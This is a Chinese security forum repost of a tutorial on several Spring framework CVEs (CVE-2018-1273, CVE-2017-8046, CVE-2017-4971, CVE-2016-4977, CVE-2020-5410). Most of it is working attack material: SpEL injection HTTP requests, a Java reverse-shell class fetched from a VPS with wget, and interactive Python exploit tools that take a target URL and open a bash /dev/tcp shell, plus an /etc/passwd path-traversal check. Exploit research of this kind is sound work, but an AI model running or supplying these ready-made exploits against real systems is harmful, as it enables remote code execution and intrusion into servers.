安全矩阵

 找回密码
 立即注册
搜索
查看: 2479|回复: 0

干货 | Spring系列CVE以及POC编写

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-5 09:23:09 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-7-5 09:33 编辑

原文链接:干货 | Spring系列CVE以及POC编写

0x01 cve-2018-12731.1 漏洞检测
访问目标/users?page=&size=5

抓包,修改post包
  1. POST /users?page=&size=5 HTTP/1.1
  2. Host: 49.235.54.135:24814
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Content-Type: application/x-www-form-urlencoded
  7. Content-Length: 121
  8. Origin: http://49.235.54.135:24814
  9. Connection: close
  10. Referer: http://49.235.54.135:24814//users
  11. Upgrade-Insecure-Requests: 1
  12. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch root/test")]=&password=&repeatedPassword=
复制代码




进入docker查看是否创建成功

1.2 反弹shell
这里我们先编译一个class文件
Exploit.java
  1. public class Exploit{
  2.     public Exploit(){
  3.         try{
  4.             Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/目标IP/2222 0>&1");
  5.         }catch(Exception e){
  6.             e.printStackTrace();
  7.         }
  8.     }
  9.     public static void main(String[] argv){
  10.         Exploit e = new Exploit();
  11.     }
  12. }
复制代码

然后反编译下java文件javac Exploit.java
然后再vps上传class文件再开启web
python3 -m http.server 8080
然后再bp里面执行下载该class文件
  1. POST /users?page=&size=5 HTTP/1.1
  2. Host: 49.235.54.135:24814
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Content-Type: application/x-www-form-urlencoded
  7. Content-Length: 149
  8. Origin: http://49.235.54.135:24814
  9. Connection: close
  10. Referer: http://49.235.54.135:24814//users
  11. Upgrade-Insecure-Requests: 1
  12. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://198.13.51.45:8080/Exploit.class")]=&password=&repeatedPassword=
复制代码

然后我们再vps上面监听2222端口nc -lvvp 2222
然后再bp执行
  1. POST /users?page=&size=5 HTTP/1.1
  2. Host: 49.235.54.135:24814
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Content-Type: application/x-www-form-urlencoded
  7. Content-Length: 118
  8. Origin: http://49.235.54.135:24814
  9. Connection: close
  10. Referer: http://49.235.54.135:24814//users
  11. Upgrade-Insecure-Requests: 1
  12. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("java Exploit")]=&password=&repeatedPassword=
复制代码

反弹shell成功
1.3 cve-2018-1273 poc编写
Spring在自动解析用户参数时候使用了SpelExpressionParser 来解析propertyName
MapDataBinder.java
  1. Expression expression = PARSER.parseExpression(propertyName);
  2.   PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
  3.   TypeInformation<?> owningType = leafProperty.getOwningType();
  4.   TypeInformation<?> propertyType = owningType.getProperty(leafProperty.getSegment());
  5.   propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
  6.   if (conversionRequired(value, propertyType.getType())) {
  7.     PropertyDescriptor descriptor = BeanUtils
  8.         .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
  9.     MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
  10.     TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
  11.     value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
  12.   }
  13.   expression.setValue(context, value);
复制代码

ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数MapDataBinder.bind()方法,会连带进行doBind操作,最终会调用到 setPropertyValue 方法来,最后在 expression.setValue(context, value) 的时候触发了漏洞使用说明
准备好class文件
Exploit.java
  1. public class Exploit{
  2.     public Exploit(){
  3.         try{
  4.             Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/目标IP/2222 0>&1");
  5.         }catch(Exception e){
  6.             e.printStackTrace();
  7.         }
  8.     }
  9.     public static void main(String[] argv){
  10.         Exploit e = new Exploit();
  11.     }
  12. }
复制代码

然后反编译下java文件javac Exploit.java
然后再vps上传class文件再开启web
python3 -m http.server 8080
这里url为http://198.13.51.45:8080/Exploit.class

vps监听,这里监听端口为编译的class的端口



  1. import pyfiglet
  2. import requests
  3. ascii_banner = pyfiglet.figlet_format("CVE-2018-1273")
  4. print(ascii_banner)
  5. print("blog:https://www.cnblogs.com/yicunyiye/")
  6. print("-" * 50)
  7. payload_poc = {
  8.     'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch root/test111")]':'',
  9.     'password':'',
  10.     'repeatedPassword':''
  11. }
  12. url = input("attack url:")
  13. print("-" * 50)
  14. # url = "http://49.235.54.135:24814//users?page=&size=5"
  15. target = url+ "/users?page=&size=5"
  16. try:
  17.     res = requests.post(target,data=payload_poc)
  18.     if(res.status_code == 500):
  19.         print("[+]%s is vulnerable" % url)
  20.         print("-" * 50)
  21.         class_url = input("your exp class url:")
  22.         cmd = "wget "+class_url
  23.         payload_class = {
  24.             'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("' +cmd+ '")]': '',
  25.             'password': '',
  26.             'repeatedPassword': ''
  27.         }
  28.         res_upload = requests.post(target,data=payload_class)
  29.         if(res_upload.status_code == 500):
  30.             print("[+]upload success")
  31.             print("-" * 50)
  32.             print("在vps监听端口,执行之后输入1继续,否则跳出程序")
  33.             flag = input("请在监听后输入1:")
  34.             print("-" * 50)
  35.             flag = int(flag)
  36.             if(flag == 1):
  37.                 payload_shell = {
  38.                     'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("java Exploit")]': '',
  39.                     'password': '',
  40.                     'repeatedPassword': ''
  41.                 }
  42.                 res_shell = requests.post(target,data=payload_shell)
  43.                 if(res_shell.status_code == 500):
  44.                     print("[+]反弹成功")
  45.                 else:
  46.                     print("[-]反弹失败")
  47.             else:
  48.                 exit(0)
  49.         else:
  50.             print("[-]upload fail")
  51.             print("-" * 50)
  52.     else:
  53.         print("[-]%s is not vulnerable" % url)
  54. except:
  55.     print("[-]%s is not vulnerable" % url)
复制代码

0x02 CVE-2017-80462.1 漏洞复现
访问存在漏洞web

访问/persons目录

post添加一个用户
{"firstName":"test","lastName":"test"}


可以看到id为1,在persons目录里面,使用PATCH方法尝试修改lastName 在http头里面添加
Content-Type': 'application/json-patch+json
PATCH修改内容为
[{"op":"replace","path":"/lastName","value":"hacker"}]

可以看到修改成功
如果要执行命令,需要转化为二进制执行,例如使用如下python代码:
  1. cmd = input("please input your command:")
  2. cmd = bytes(cmd, encoding='utf-8')
  3. bytecode = ','.join(str(i) for i in list(cmd))
  4. please input your command:touch /test
  5. 116,111,117,99,104,32,47,116,101,115,116
复制代码



然后使用exp:
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,101,115,116}))/lastname", "value": "vulhub" }]


执行成功
反弹shell查看python代码,同样的操作,只是需要进行一个base64 bash编码
2.2 CVE-2017-8046 编写poc
这里输入获取到的url地址



在vps监听

在exp输入shell


  1. import requests
  2. import json
  3. import pyfiglet
  4. import base64
  5. import time
  6. import re
  7. ascii_banner = pyfiglet.figlet_format("CVE-2017-8046")
  8. print(ascii_banner)
  9. print("blog:https://www.cnblogs.com/yicunyiye/")
  10. print("-" * 50)
  11. url = input("attack url:")
  12. resp_url = requests.get(url)
  13. target_text = resp_url.text
  14. print("-" * 50)
  15. re_target = re.compile('"href" : "(.*?)"',re.I|re.S)
  16. target = re_target.findall(target_text)[0]
  17. once = requests.get(target)
  18. once = once.text
  19. print(once)
  20. print("-" * 50)
  21. print("输入json中任意两个键来创建值,比如firstname,lastname")
  22. first = input("first:")
  23. second = input("second:")
  24. # first = "lastname"
  25. # second = "firstname"
  26. create = {
  27.     first:"yicunyiye",
  28.     second:"hacker"
  29. }
  30. if('hacker' not in once):
  31.     poc1 = requests.post(target,json=create)
  32. once = requests.get(target)
  33. once = once.text
  34. time.sleep(2)
  35. print("-" * 50)
  36. #匹配创建的用户信息的url地址
  37. re_target_once = re.compile('"hacker"(.*?)"profile"',re.I|re.S)
  38. result_once = re_target_once.findall(once)
  39. result_once = result_once[0]
  40. # input("111:")
  41. re_target_twice = re.compile('"href" : "(.*?)"',re.I|re.S)
  42. result_twice = re_target_twice.findall(result_once)
  43. json_url = result_twice[0]
  44. # json_url = input("输入json中的href地址:")
  45. # json_url = "http://49.235.54.135:47507/persons/1"
  46. replace_url = requests.patch(json_url,
  47.                      data=json.dumps([{"op": "replace", "path": "/"+first+"", "value": "fenghuaxueyue"}]),
  48.                      headers={'Content-Type': 'application/json-patch+json'})
  49. replace_url = replace_url.text
  50. if('fenghuaxueyue' in replace_url):
  51.     print("[+]%s is vulnerable" % url)
  52. print("-" * 50)
  53. print("input exit will break,input shell you can get a shell")
  54. # cmd = "touch /tmp/test"
  55. # print("please input your command:"+cmd)
  56. while True:
  57.     cmd = input("please input your command:")
  58.     cmd = bytes(cmd, encoding='utf-8')
  59.     flag = b'exit'
  60.     if cmd == flag:
  61.         print("bye~~")
  62.         break
  63.     bytecode = ','.join(str(i) for i in list(cmd))
  64.     exp_url = requests.patch(json_url,
  65.                          data=json.dumps([{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{"+bytecode+"}))/lastname", "value": "yicunyiye" }]),
  66.                          headers={'Content-Type': 'application/json-patch+json'})
  67.     if cmd == b'shell':
  68.         reverse_ip = input('reverse ip:')
  69.         reverse_port = input('reverse port:')
  70.         bash_cmd = "bash -i >& /dev/tcp/" + reverse_ip + "/"+reverse_port+" 0>&1"
  71.         base64_cmd = base64.b64encode(bytes(bash_cmd, encoding='utf-8'))
  72.         string_bash = str(base64_cmd,'utf-8')
  73.         reverse_cmd = "bash -c {echo," + string_bash + "}|{base64,-d}|{bash,-i}"
  74.         poc = bytes(reverse_cmd, encoding='utf-8')
  75.         poc_code = ','.join(str(i) for i in list(poc))
  76.         exp = requests.patch(json_url,
  77.                                  data=json.dumps([{"op": "replace",
  78.                                                    "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{" + poc_code + "}))/lastname",
  79.                                                    "value": "vulhub"}]),
  80.                                  headers={'Content-Type': 'application/json-patch+json'})
  81.         print("[+]getshell success")
复制代码

3.1 漏洞复现
使用左边账号登录

进去了访问/hotels/1

随便输入信息然后点击


添加payload
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=yicunyiye

3.2 cve-2017-4971 poc编写
这里需要注意下就是登录以及后面的post数据包都采用了csrf_token,只需要用request.Session()固定下就,然后post前先get url 正则匹配下token就行了
注意python编译器把空格变成+,我就在这里搞了好久--,结果发现被转义了


  1. import requests
  2. import re
  3. import time
  4. import pyfiglet
  5. import datetime
  6. ascii_banner = pyfiglet.figlet_format("CVE-2017-4971")
  7. print(ascii_banner)
  8. print("blog:https://www.cnblogs.com/yicunyiye/")
  9. print("-" * 50)
  10. #用户登录时候的url
  11. # url = input("attack url:")
  12. url = "http://49.235.54.135:24924/"
  13. print("-" * 50)
  14. Post_login_url = url + "/loginProcess"
  15. #输入账号密码
  16. print("default:keith,erwin,jeremy,scott")
  17. # username = input("username:")
  18. username = "keith"
  19. print("default:melbourne,leuven,atlanta,rochester")
  20. # password = input("password:")
  21. password = "melbourne"
  22. #用户登录时候需要的csrf_token
  23. session = requests.Session()
  24. login_csrf_url = url + '/login'
  25. res_login = session.get(login_csrf_url)
  26. re_login_csrf = re.compile('name="_csrf" value="(.*?)"',re.I|re.S)
  27. login_token = re_login_csrf.findall(res_login.text)[0]
  28. #登录
  29. login_data = {
  30.     "username":username,
  31.     "password":password,
  32.     "_csrf":login_token
  33. }
  34. login = session.post(Post_login_url,data=login_data,allow_redirects=False)
  35. try:
  36.     login_flag = str(login.headers)
  37.     if('JSESSIONID' in login_flag):
  38.         print("-" * 50)
  39.         print("[+]login success!")
  40.         print("-" * 50)
  41.         response = session.get(url+'/hotels/1')
  42.         Location = session.get(url+'/hotels/booking?hotelId=1',allow_redirects=False)
  43.         Location = Location.headers['Location']
  44.         #填写hotel信息的url
  45.         hotel_info_url = url+Location
  46.         hotel_page = session.get(hotel_info_url)
  47.         re_post_csrf = re.compile('name="_csrf" value="(.*?)"', re.I | re.S)
  48.         post_token = re_post_csrf.findall(hotel_page.text)[0]
  49.         today_add_1 = (datetime.datetime.now() + datetime.timedelta(days=1)).strftime("%m-%d-%Y")
  50.         today_reduce_1 = (datetime.datetime.now() + datetime.timedelta(days=-1)).strftime("%m-%d-%Y")
  51.         today_add_3 = (datetime.datetime.now() + datetime.timedelta(days=3)).strftime("%m-%d-%Y")
  52.         post_data = {
  53.             "checkinDate": today_add_1,
  54.             "checkoutDate": today_add_1,
  55.             "beds": "1",
  56.             "smoking": "false",
  57.             "_amenities": "on",
  58.             "_amenities": "on",
  59.             "_amenities": "on",
  60.             "creditCard": "1231111111111111",
  61.             "creditCardName": "11",
  62.             "creditCardExpiryMonth": "1",
  63.             "creditCardExpiryYear": "1",
  64.             "_csrf": post_token,
  65.             "_eventId_proceed": "_eventId_proceed",
  66.             "ajaxSource": "proceed"
  67.         }
  68.         Spring_Redirec_URL = session.post(hotel_info_url,data=post_data)
  69.         Spring_Redirec_URL = Spring_Redirec_URL.headers['Spring-Redirect-URL']
  70.         confirm_url = url + Spring_Redirec_URL
  71.         # res = session.get(confirm_url)
  72.         reverse_ip = input("reverse ip:")
  73.         reverse_port = input("reverse port:")
  74.         confirm_data = {
  75.             '_eventId_confirm':'',
  76.             '_csrf':post_token,
  77.             '_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/'+reverse_ip+'/'+reverse_port+' 0>&1")).start()':'yicunyiye'
  78.         }
  79.         res = session.get(confirm_url)
  80.         time.sleep(2)
  81.         payload_send = session.post(confirm_url,data=confirm_data,allow_redirects=False)
  82.         if(payload_send.status_code == 500):
  83.             print("[+]反弹shell成功!")
  84.             print("-" * 50)
  85.         else:
  86.             print("[-]反弹shell失败!")
  87.             print("-" * 50)
  88.     else:
  89.         print("-" * 50)
  90.         print("[-]login failed!")
  91.         print("-" * 50)
  92. except:
  93.     print("bye~~")
复制代码

0x04 CVE-2016-49774.1 CVE-2016-4977 poc编写import requestsimport pyfigletimport base64import timeascii_banner = pyfiglet.figlet_format("CVE-2016-4977")print(ascii_banner)print("blog:https://www.cnblogs.com/yicunyiye/")print("-" * 50)url = input("attack url:")username = input("username:")password = input("password:")print("-" * 50)data = username+":"+passwordres = base64.b64encode(data.encode("utf-8")).decode("utf-8")Authorization = "Basic " + resheaders = {    "Authorization": Authorization    }payload = "oauth/authorize?response_type=${11*11}&client_id=acme&scope=openid&redirect_uri=http://test"target = url+payloadres = requests.get(target,headers=headers)result = res.textif('121' in result):    print("[+]%s is vulnerable" % url)    print("-" * 50)    reverse_ip = input('reverse ip:')    reverse_port = input('reverse port:')    bash_cmd = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"    base64_cmd = base64.b64encode(bytes(bash_cmd, encoding='utf-8'))    string_bash = str(base64_cmd, 'utf-8')    reverse_cmd = "bash -c {echo," + string_bash + "}|{base64,-d}|{bash,-i}"    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(reverse_cmd[0])    for ch in reverse_cmd[1:]:        poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)    poc += ')}'    payload_getshell = "oauth/authorize?response_type="+poc+"&client_id=acme&scope=openid&redirect_uri=http://test"    # print(payload_getshell)    target_getshell = url + payload_getshell    shell = requests.get(target_getshell,headers=headers)    time.sleep(10)    print("getshell success!")else:    print("[-]%s is not vulnerable" % url)    print("-" * 50)0x05 CVE-2020-54105.1 CVE-2020-5410 poc编写import requestsimport pyfigletascii_banner = pyfiglet.figlet_format("CVE-2020-5410")print(ascii_banner)print("blog:https://www.cnblogs.com/yicunyiye/")print("-" * 50)url = input("attack url:")payload = "/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/ddd"result = requests.get(url+payload)if ('root' in result.text):    print("[+]%s is vulnerable" % url)else:    print("[-]%s is not vulnerable" % url)



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:43 , Processed in 0.014689 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表